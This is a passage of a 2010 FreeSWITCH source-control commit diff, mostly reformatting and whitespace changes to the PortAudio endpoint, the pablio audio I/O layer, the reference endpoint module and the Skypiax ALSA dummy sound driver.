switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Error spawning thread\n");
switch_core_session_destroy(&session);
stream->write_function(stream, "FAIL:Thread Error!\n");
@@ -1878,8 +1880,7 @@
"pa outdev #<num>|<partial name>\n"
"pa ringdev #<num>|<partial name>\n"
"pa play [ringtest|<filename>]\n"
- "pa ringfile [filename]\n"
- "pa looptest\n" "--------------------------------------------------------------------------------\n";
+ "pa ringfile [filename]\n" "pa looptest\n" "--------------------------------------------------------------------------------\n";
if (stream->param_event) {
@@ -2029,7 +2030,7 @@
int samples = 0;
int seconds = 5;
int wrote = 0;
-
+
if (globals.call_list) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "ERROR: Cannot use this command this while a call is in progress\n");
goto done;
@@ -2050,7 +2051,7 @@
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
int16_t abuf[2048];
-
+
if (argv[2]) {
int i = atoi(argv[2]);
if (i >= 0) {
@@ -2069,16 +2070,16 @@
}
}
olen = globals.read_codec.implementation->samples_per_packet;
- }
-
+ }
+
switch_core_file_close(&fh);
deactivate_audio_device();
seconds = wrote / globals.read_codec.implementation->actual_samples_per_second;
- stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
+ stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
playfile, seconds, wrote, globals.read_codec.implementation->actual_samples_per_second);
-
+
} else {
stream->write_function(stream, "Cannot play requested file %s\n", argv[1]);
}
@@ -2096,9 +2097,9 @@
int samples = 0;
int success = 0;
int i;
- for(i = 0; i < 400; i++) {
+ for (i = 0; i < 400; i++) {
if ((samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
- globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
+ globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &globals.write_timer);
success = 1;
}
@@ -2117,10 +2118,10 @@
if (engage_device(0) == SWITCH_STATUS_SUCCESS) {
switch_file_handle_t fh = { 0 };
if (switch_core_file_open(&fh,
- argv[1],
- globals.read_codec.implementation->number_of_channels,
- globals.read_codec.implementation->actual_samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
+ argv[1],
+ globals.read_codec.implementation->number_of_channels,
+ globals.read_codec.implementation->actual_samples_per_second,
+ SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
switch_core_file_close(&fh);
set_global_ring_file(argv[1]);
} else {
Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -56,12 +56,14 @@
/************************************************************************/
static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
- unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
-static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
- unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
+ unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+ void *userData);
+static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo,
+ PaStreamCallbackFlags statusFlags, void *userData);
static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
- unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
+ unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+ void *userData);
static PaError PABLIO_InitFIFO(PaUtilRingBuffer * rbuf, long numFrames, long bytesPerFrame);
static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
@@ -74,7 +76,7 @@
* Read and write data
*/
static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
- unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
+ unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
{
PABLIO_Stream *data = (PABLIO_Stream *) userData;
long numBytes = data->bytesPerFrame * framesPerBuffer;
@@ -91,7 +93,7 @@
}
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
- unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
+ unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
{
PABLIO_Stream *data = (PABLIO_Stream *) userData;
long numBytes = data->bytesPerFrame * framesPerBuffer;
@@ -109,7 +111,8 @@
}
static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
- unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
+ unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
+ void *userData)
{
iblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
oblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
@@ -151,7 +154,7 @@
bytesWritten = PaUtil_WriteRingBuffer(&aStream->outFIFO, p, numBytes);
numBytes -= bytesWritten;
p += bytesWritten;
-
+
if (numBytes > 0) {
PaUtil_FlushRingBuffer(&aStream->outFIFO);
return 0;
@@ -172,7 +175,7 @@
switch_core_timer_next(timer);
- while(totalBytes < neededBytes && --max > 0) {
+ while (totalBytes < neededBytes && --max > 0) {
avail = PaUtil_GetRingBufferReadAvailable(&aStream->inFIFO);
//printf("AVAILABLE BYTES %ld pass %d\n", avail, 5000 - max);
@@ -182,7 +185,7 @@
} else {
bytesRead = 0;
-
+
if (totalBytes < neededBytes && avail >= neededBytes) {
bytesRead = PaUtil_ReadRingBuffer(&aStream->inFIFO, p, neededBytes);
totalBytes += bytesRead;
@@ -241,10 +244,7 @@
*/
PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
const PaStreamParameters * inputParameters,
- const PaStreamParameters * outputParameters,
- double sampleRate, PaStreamFlags streamFlags,
- long samples_per_packet,
- int do_dual)
+ const PaStreamParameters * outputParameters, double sampleRate, PaStreamFlags streamFlags, long samples_per_packet, int do_dual)
{
long bytesPerSample = 2;
PaError err;
@@ -261,7 +261,7 @@
aStream = (PABLIO_Stream *) malloc(sizeof(PABLIO_Stream));
switch_assert(aStream);
memset(aStream, 0, sizeof(PABLIO_Stream));
-
+
if (inputParameters) {
channels = inputParameters->channelCount;
} else if (outputParameters) {
@@ -278,7 +278,7 @@
if (err != paNoError) {
goto error;
}
- aStream-> has_in = 1;
+ aStream->has_in = 1;
}
if (outputParameters) {
@@ -286,13 +286,13 @@
if (err != paNoError) {
goto error;
}
- aStream-> has_out = 1;
+ aStream->has_out = 1;
}
/* Open a PortAudio stream that we will use to communicate with the underlying
* audio drivers. */
- aStream->do_dual = do_dual;
+ aStream->do_dual = do_dual;
if (aStream->do_dual) {
err = Pa_OpenStream(&aStream->istream, inputParameters, NULL, sampleRate, samples_per_packet, streamFlags, iblockingIOCallback, aStream);
@@ -304,16 +304,18 @@
goto error;
}
} else {
- err = Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback, aStream);
+ err =
+ Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback,
+ aStream);
}
if (err != paNoError) {
goto error;
}
-
+
if (aStream->do_dual) {
err = Pa_StartStream(aStream->istream);
-
+
if (err != paNoError) {
goto error;
}
@@ -335,7 +337,7 @@
*rwblPtr = aStream;
switch_yield(500000);
-
+
return paNoError;
error:
@@ -352,7 +354,7 @@
int bytesEmpty;
int byteSize;
-
+
byteSize = aStream->outFIFO.bufferSize;
if (aStream->has_out) {
@@ -375,7 +377,7 @@
Pa_CloseStream(aStream->istream);
aStream->istream = NULL;
}
-
+
if (aStream->has_out && aStream->ostream) {
if (Pa_IsStreamActive(aStream->ostream)) {
Pa_StopStream(aStream->ostream);
@@ -384,7 +386,7 @@
Pa_CloseStream(aStream->ostream);
aStream->ostream = NULL;
}
-
+
} else {
if (aStream->iostream) {
if (Pa_IsStreamActive(aStream->iostream)) {
@@ -396,10 +398,10 @@
}
}
- if (aStream->has_in) {
+ if (aStream->has_in) {
PABLIO_TermFIFO(&aStream->inFIFO);
}
-
+
if (aStream->has_out) {
PABLIO_TermFIFO(&aStream->outFIFO);
}
@@ -409,4 +411,3 @@
return paNoError;
}
-
Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/pablio.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -109,7 +109,7 @@
*/
PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
const PaStreamParameters * inputParameters,
- const PaStreamParameters * outputParameters,
+ const PaStreamParameters * outputParameters,
double sampleRate, PaStreamCallbackFlags statusFlags, long samples_per_packet, int do_dual);
PaError CloseAudioStream(PABLIO_Stream * aStream);
Modified: freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_reference/mod_reference.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -106,7 +106,8 @@
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -200,7 +201,7 @@
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
-
+
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
switch_core_codec_destroy(&tech_pvt->write_codec);
}
@@ -414,7 +415,8 @@
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(reference_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
private_t *tech_pvt;
@@ -447,8 +449,6 @@
}
-
- switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
@@ -480,13 +480,12 @@
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
-
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ channel_on_destroy
};
switch_io_routines_t reference_io_routines = {
@@ -591,13 +590,13 @@
}
switch_yield(20000);
}
-
+
/* Free dynamically allocated strings */
switch_safe_free(globals.dialplan);
switch_safe_free(globals.codec_string);
switch_safe_free(globals.codec_rates_string);
switch_safe_free(globals.ip);
-
+
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/alsa/dummy.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -18,7 +18,7 @@
*
*/
-#include <sound/driver.h> //giova
+#include <sound/driver.h> //giova
#include <linux/init.h>
#include <linux/err.h>
#include <linux/platform_device.h>
@@ -44,7 +44,7 @@
#define MAX_PCM_SUBSTREAMS 128
#define MAX_MIDI_DEVICES 2
-#if 0 /* emu10k1 emulation */
+#if 0 /* emu10k1 emulation */
#define MAX_BUFFER_SIZE (128 * 1024)
static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
{
@@ -57,10 +57,11 @@
return err;
return 0;
}
+
#define add_playback_constraints emu10k1_playback_constraints
#endif
-#if 0 /* RME9652 emulation */
+#if 0 /* RME9652 emulation */
#define MAX_BUFFER_SIZE (26 * 64 * 1024)
#define USE_FORMATS SNDRV_PCM_FMTBIT_S32_LE
#define USE_CHANNELS_MIN 26
@@ -69,7 +70,7 @@
#define USE_PERIODS_MAX 2
#endif
-#if 0 /* ICE1712 emulation */
+#if 0 /* ICE1712 emulation */
#define MAX_BUFFER_SIZE (256 * 1024)
#define USE_FORMATS SNDRV_PCM_FMTBIT_S32_LE
#define USE_CHANNELS_MIN 10
@@ -78,7 +79,7 @@
#define USE_PERIODS_MAX 1024
#endif
-#if 0 /* UDA1341 emulation */
+#if 0 /* UDA1341 emulation */
#define MAX_BUFFER_SIZE (16380)
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
#define USE_CHANNELS_MIN 2
@@ -87,7 +88,7 @@
#define USE_PERIODS_MAX 255
#endif
-#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
+#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
#define USE_CHANNELS_MIN 2
#define USE_CHANNELS_MAX 2
@@ -96,12 +97,12 @@
#define USE_RATE_MAX 48000
#endif
-#if 0 /* CA0106 */
+#if 0 /* CA0106 */
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
#define USE_CHANNELS_MIN 2
#define USE_CHANNELS_MAX 2
-#define USE_RATE (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
-#define USE_RATE_MIN 48000
+#define USE_RATE (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
+#define USE_RATE_MIN 48000
#define USE_RATE_MAX 192000
#define MAX_BUFFER_SIZE ((65536-64)*8)
#define MAX_PERIOD_SIZE (65536-64)
@@ -146,9 +147,10 @@
static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX; /* Index 0-MAX */
static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR; /* ID for this card */
-static int enable[SNDRV_CARDS] = {1, [1 ... (SNDRV_CARDS - 1)] = 0};
-static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1};
-static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128};
+static int enable[SNDRV_CARDS] = { 1,[1...(SNDRV_CARDS - 1)] = 0 };
+static int pcm_devs[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 1 };
+static int pcm_substreams[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 128 };
+
//static int midi_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 2};
module_param_array(index, int, NULL, 0444);
@@ -165,14 +167,14 @@
//MODULE_PARM_DESC(midi_devs, "MIDI devices # (0-2) for dummy driver.");
static struct platform_device *devices[SNDRV_CARDS];
-static struct timer_list giovatimer; //giova
-static int giovastarted=0;
-static int giovaindex=0;
+static struct timer_list giovatimer; //giova
+static int giovastarted = 0;
+static int giovaindex = 0;
static spinlock_t giovalock;
struct giovadpcm {
struct snd_pcm_substream *substream;
struct snd_dummy_pcm *dpcm;
- int started;
+ int started;
};
static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
@@ -188,8 +190,8 @@
struct snd_card *card;
struct snd_pcm *pcm;
spinlock_t mixer_lock;
- int mixer_volume[MIXER_ADDR_LAST+1][2];
- int capture_source[MIXER_ADDR_LAST+1][2];
+ int mixer_volume[MIXER_ADDR_LAST + 1][2];
+ int capture_source[MIXER_ADDR_LAST + 1][2];
};
struct snd_dummy_pcm {
@@ -208,50 +210,48 @@
static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
{
-int i;
-int found=0;
+ int i;
+ int found = 0;
//printk("giova: 1 timer_start %d %p\n", __LINE__, dpcm);
-for(i=0; i<giovaindex+1; i++){
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ for (i = 0; i < giovaindex + 1; i++) {
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ }
+
+ if (giovadpcms[i].dpcm == dpcm) {
+ giovadpcms[i].started = 1;
+ found = 1;
+ }
}
+ if (!found) {
+ printk("skypiax: start, NOT found?\n");
+ }
-if(giovadpcms[i].dpcm == dpcm){
- giovadpcms[i].started=1;
- found=1;
-}
-}
-if(!found){
- printk("skypiax: start, NOT found?\n");
-}
-
-
-
//printk("giova: 2 timer_start %d %p\n", __LINE__, dpcm);
}
static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
{
//del_timer(&dpcm->timer);
-int i;
-int found=0;
+ int i;
+ int found = 0;
//printk("giova: 1 timer_stop %d %p\n", __LINE__, dpcm);
-for(i=0; i<giovaindex +1; i++){
+ for (i = 0; i < giovaindex + 1; i++) {
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ }
+ if (giovadpcms[i].dpcm == dpcm) {
+ giovadpcms[i].started = 0;
+ found = 1;
+ }
}
-if(giovadpcms[i].dpcm == dpcm){
- giovadpcms[i].started=0;
- found=1;
-}
-}
-if(!found){
- //printk("skypiax: stop, NOT found?\n");
- } else {
+ if (!found) {
+ //printk("skypiax: stop, NOT found?\n");
+ } else {
//printk("skypiax: stop, YES found!\n");
}
@@ -294,8 +294,7 @@
struct snd_dummy_pcm *dpcm = runtime->private_data;
int bps;
- bps = snd_pcm_format_width(runtime->format) * runtime->rate *
- runtime->channels / 8;
+ bps = snd_pcm_format_width(runtime->format) * runtime->rate * runtime->channels / 8;
if (bps <= 0)
return -EINVAL;
@@ -306,8 +305,7 @@
dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
dpcm->pcm_irq_pos = 0;
dpcm->pcm_buf_pos = 0;
- snd_pcm_format_set_silence(runtime->format, runtime->dma_area,
- bytes_to_samples(runtime, runtime->dma_bytes));
+ snd_pcm_format_set_silence(runtime->format, runtime->dma_area, bytes_to_samples(runtime, runtime->dma_bytes));
//printk("giova: prepare %d %p\n", __LINE__, dpcm);
return 0;
@@ -316,49 +314,49 @@
static void snd_card_dummy_pcm_timer_function(unsigned long data)
{
//struct snd_dummy_pcm *dpcm = (struct snd_dummy_pcm *)data;
- struct snd_dummy_pcm *dpcm=NULL;
+ struct snd_dummy_pcm *dpcm = NULL;
//unsigned long flags;
-int i;
-
+ int i;
- giovatimer.expires = (HZ/100) + jiffies;
+
+ giovatimer.expires = (HZ / 100) + jiffies;
add_timer(&giovatimer);
-for(i=0; i< giovaindex +1; i++) {
+ for (i = 0; i < giovaindex + 1; i++) {
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
- }
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ }
//printk("giova: timer_func %d i=%d\n", __LINE__, i);
-if(giovadpcms[i].started != 1)
- continue;
-dpcm = giovadpcms[i].dpcm;
-if(dpcm==NULL){
- printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
- continue;
- }
- if(in_irq())
- printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
- //if(in_softirq())
+ if (giovadpcms[i].started != 1)
+ continue;
+ dpcm = giovadpcms[i].dpcm;
+ if (dpcm == NULL) {
+ printk("giova: timer_func %d %d NULL: continue\n", __LINE__, i);
+ continue;
+ }
+ if (in_irq())
+ printk("giova: timer_func %d %d we are in HARDWARE IRQ\n", __LINE__, i);
+ //if(in_softirq())
//printk("giova: timer_func %d %d we are in SOFT IRQ\n", __LINE__, i);
//printk("giova: timer_func %d %d\n", __LINE__, i);
- //spin_lock_irqsave(&dpcm->lock, flags);
- spin_lock_bh(&dpcm->lock);
- dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ/100);
- dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ/100);
- dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
- if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
- dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
- //spin_unlock_irqrestore(&dpcm->lock, flags);
- spin_unlock_bh(&dpcm->lock);
- snd_pcm_period_elapsed(dpcm->substream);
- } else {
- //spin_unlock_irqrestore(&dpcm->lock, flags);
- spin_unlock_bh(&dpcm->lock);
+ //spin_lock_irqsave(&dpcm->lock, flags);
+ spin_lock_bh(&dpcm->lock);
+ dpcm->pcm_irq_pos += dpcm->pcm_bps * (HZ / 100);
+ dpcm->pcm_buf_pos += dpcm->pcm_bps * (HZ / 100);
+ dpcm->pcm_buf_pos %= dpcm->pcm_buffer_size * dpcm->pcm_hz;
+ if (dpcm->pcm_irq_pos >= dpcm->pcm_period_size * dpcm->pcm_hz) {
+ dpcm->pcm_irq_pos %= dpcm->pcm_period_size * dpcm->pcm_hz;
+ //spin_unlock_irqrestore(&dpcm->lock, flags);
+ spin_unlock_bh(&dpcm->lock);
+ snd_pcm_period_elapsed(dpcm->substream);
+ } else {
+ //spin_unlock_irqrestore(&dpcm->lock, flags);
+ spin_unlock_bh(&dpcm->lock);
+ }
}
}
-}
static snd_pcm_uframes_t snd_card_dummy_pcm_pointer(struct snd_pcm_substream *substream)
{
@@ -367,76 +365,71 @@
//printk("giova: pointer %d %p\n", __LINE__, dpcm);
//return bytes_to_frames(runtime, dpcm->pcm_buf_pos / dpcm->pcm_hz);
- return (dpcm->pcm_buf_pos / dpcm->pcm_hz)/2;
+ return (dpcm->pcm_buf_pos / dpcm->pcm_hz) / 2;
}
-static struct snd_pcm_hardware snd_card_dummy_playback =
-{
- .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
- SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
- .formats = USE_FORMATS,
- .rates = USE_RATE,
- .rate_min = USE_RATE_MIN,
- .rate_max = USE_RATE_MAX,
- .channels_min = USE_CHANNELS_MIN,
- .channels_max = USE_CHANNELS_MAX,
- .buffer_bytes_max = MAX_BUFFER_SIZE,
- .period_bytes_min = 64,
- .period_bytes_max = MAX_PERIOD_SIZE,
- .periods_min = USE_PERIODS_MIN,
- .periods_max = USE_PERIODS_MAX,
- .fifo_size = 0,
+static struct snd_pcm_hardware snd_card_dummy_playback = {
+ .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+ .formats = USE_FORMATS,
+ .rates = USE_RATE,
+ .rate_min = USE_RATE_MIN,
+ .rate_max = USE_RATE_MAX,
+ .channels_min = USE_CHANNELS_MIN,
+ .channels_max = USE_CHANNELS_MAX,
+ .buffer_bytes_max = MAX_BUFFER_SIZE,
+ .period_bytes_min = 64,
+ .period_bytes_max = MAX_PERIOD_SIZE,
+ .periods_min = USE_PERIODS_MIN,
+ .periods_max = USE_PERIODS_MAX,
+ .fifo_size = 0,
};
-static struct snd_pcm_hardware snd_card_dummy_capture =
-{
- .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
- SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
- .formats = USE_FORMATS,
- .rates = USE_RATE,
- .rate_min = USE_RATE_MIN,
- .rate_max = USE_RATE_MAX,
- .channels_min = USE_CHANNELS_MIN,
- .channels_max = USE_CHANNELS_MAX,
- .buffer_bytes_max = MAX_BUFFER_SIZE,
- .period_bytes_min = 64,
- .period_bytes_max = MAX_PERIOD_SIZE,
- .periods_min = USE_PERIODS_MIN,
- .periods_max = USE_PERIODS_MAX,
- .fifo_size = 0,
+static struct snd_pcm_hardware snd_card_dummy_capture = {
+ .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_RESUME | SNDRV_PCM_INFO_MMAP_VALID),
+ .formats = USE_FORMATS,
+ .rates = USE_RATE,
+ .rate_min = USE_RATE_MIN,
+ .rate_max = USE_RATE_MAX,
+ .channels_min = USE_CHANNELS_MIN,
+ .channels_max = USE_CHANNELS_MAX,
+ .buffer_bytes_max = MAX_BUFFER_SIZE,
+ .period_bytes_min = 64,
+ .period_bytes_max = MAX_PERIOD_SIZE,
+ .periods_min = USE_PERIODS_MIN,
+ .periods_max = USE_PERIODS_MAX,
+ .fifo_size = 0,
};
static void snd_card_dummy_runtime_free(struct snd_pcm_runtime *runtime)
{
-int i;
+ int i;
//int found=0;
//printk("snd_card_dummy_runtime_free giova 1 giovaindex=%d dpcm=%p runtime=%p\n", giovaindex, runtime->private_data, runtime);
spin_lock_bh(&giovalock);
-for(i=0; i < giovaindex; i++) {
+ for (i = 0; i < giovaindex; i++) {
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+ }
+ //if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
+ if ((giovadpcms[i].dpcm == runtime->private_data)) {
+ //printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+ //giovadpcms[i].dpcm = NULL;
+ //giovadpcms[i].substream = NULL;
+ giovadpcms[i].started = 0;
+ //break;
+ } else {
+ //printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
+ }
}
- //if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm)){
- if((giovadpcms[i].dpcm == runtime->private_data)){
- //printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
- //giovadpcms[i].dpcm = NULL;
- //giovadpcms[i].substream = NULL;
- giovadpcms[i].started = 0;
- //break;
- } else {
